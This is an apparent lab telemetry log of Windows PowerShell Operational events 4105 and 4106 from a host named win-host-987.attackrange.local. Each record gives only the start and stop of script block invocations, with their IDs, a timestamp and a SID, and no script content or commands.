TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041857
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041835
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041834
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041833
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041832
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041816
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041815
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041809
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
